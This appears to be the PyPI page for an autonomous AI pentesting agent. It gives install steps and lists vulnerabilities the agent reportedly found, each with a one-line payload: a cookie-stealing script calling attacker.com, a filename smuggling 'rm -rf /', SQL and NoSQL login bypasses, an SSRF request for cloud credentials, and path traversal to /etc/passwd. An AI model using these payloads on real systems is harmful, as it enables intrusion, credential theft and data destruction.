World's first fully autonomous AI security engineer
Project description
Crossbow - World's First AI Security Engineer
World's first fully autonomous AI security engineer that finds and exploits vulnerabilities, performs SOC operations, forensics, and threat intelligence.
Installation
pip install crossbow-agent
Set your API key:
export OPENAI_API_KEY=your-key-here
# or ANTHROPIC_API_KEY or GEMINI_API_KEY
Usage
Start Crossbow:
crossbow
Ask it to test something:
🎯 > Find vulnerabilities in https://example.com
🎯 > Scan this Android app for security issues
🎯 > Check if 192.168.1.0/24 has any exposed services
🎯 > Review login.py for security bugs
Crossbow figures out what to test and how to test it. Results stream back as they're found.
Commands
/model - Switch AI models (GPT, Claude, Gemini)
/memory - Remember conversations across sessions
/status - Show current settings
/quit - Exit
Real World Bugs Crossbow Found Autonmously
Hardcoded Credentials in Firmware
Found hardcoded admin password in IoT camera firmware allowing unauthorized access to recorded video streams. Password was embedded in binary, accessible to anyone who downloaded the firmware update.
SQL Injection in Login Form
Discovered SQL injection in authentication endpoint. Entering admin'-- in username field bypassed password check and granted admin access. Database credentials were also exposed through error messages.
Exposed Admin Panel
Found admin dashboard at /admin with no authentication required. Panel allowed viewing all user data, changing passwords, and downloading database backups.
API Key Leak in JavaScript
Production API keys hardcoded in client-side JavaScript bundle. Keys had write access to production database and were visible in browser developer tools.
Insecure Direct Object Reference
Changed user_id parameter in URL from 1234 to 1235 and accessed another user's private messages, payment history, and personal information. No authorization check on server side.
Command Injection in File Upload
File upload feature didn't sanitize filenames. Uploading a file named test.pdf; rm -rf / executed shell commands on the server with web server privileges.
Session Fixation
Application accepted session IDs from URL parameters. Attacker could send victim a link with attacker's session ID, then hijack the session after victim logged in.
Cross-Site Scripting (XSS)
User input reflected in page without encoding. Injecting <script>fetch('https://attacker.com/?c='+document.cookie)</script> in search box stole session cookies.
Insecure File Permissions
Database backup files stored in web root with 777 permissions. Anyone could download backup_2024.sql containing all user passwords, credit cards, and personal data.
Missing Rate Limiting
Password reset endpoint had no rate limiting. Attacker could spray 10,000 password reset emails in minutes or brute force reset tokens.
XML External Entity (XXE)
XML parser processed external entities. Sending specially crafted XML file read /etc/passwd and other system files through error messages.
CORS Misconfiguration
API returned Access-Control-Allow-Origin: * with credentials allowed. Any website could make authenticated requests and steal user data.
Open Redirect
Login page had ?redirect= parameter with no validation. Phishing emails sent users to real login page which redirected to fake site after authentication.
JWT Secret Key Leak
JWT tokens signed with weak secret found in public GitHub repository. Attacker could forge admin tokens and access any account.
NoSQL Injection
MongoDB query built from user input without sanitization. Sending {"$ne": null} in password field bypassed authentication.
Server-Side Request Forgery (SSRF)
Image upload feature fetched images from URLs. Requesting http://169.254.169.254/latest/meta-data/ exposed AWS credentials and cloud infrastructure details.
Weak Cryptography
Passwords hashed with MD5 and no salt. Rainbow table attack cracked 60% of passwords in under an hour.
Race Condition in Payment
Submitting multiple simultaneous purchase requests with same payment method charged card once but delivered items multiple times.
Directory Traversal
Download endpoint allowed ../ in filename parameter. Requesting /download?file=../../../../etc/passwd exposed system files.
API Keys
Get a key from one of these:
- OpenAI: platform.openai.com
- Anthropic: console.anthropic.com
- Google: aistudio.google.com
Add to .env file.
Disclaimer
Author is not responsible for damage if anyone use this tool for illegal tasks
Credits
Thanks for amazing prompts and tools in CAI we used some of them in Crossbow v1.
Legal
Crossbow is a hobby project and this will be always free for anyone to use.
License
MIT
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file crossbow_agent-2.0.1.tar.gz.
File metadata
- Download URL: crossbow_agent-2.0.1.tar.gz
- Upload date:
- Size: 73.1 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.11.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
9e34ad50bf9ade85dda977830764af20996550b4831b0169990537edcb3b4bc2
|
|
| MD5 |
f83d7c58b8c867d6d5ed103a42261a7f
|
|
| BLAKE2b-256 |
a22649786303e42ec573dda6749714338a89e28d98ee140f50442bae12d0181c
|
File details
Details for the file crossbow_agent-2.0.1-py3-none-any.whl.
File metadata
- Download URL: crossbow_agent-2.0.1-py3-none-any.whl
- Upload date:
- Size: 75.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.11.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f89aa584e345928f5aec449a6fdbf2def37bb4304998202af241ff5cc6bb140d
|
|
| MD5 |
2a1990a9bec7edead048e03f6bfb3f3b
|
|
| BLAKE2b-256 |
a3a8b0363bba3695632ae58c1bf41f27eba07da9f62befabd9ce372052e6659a
|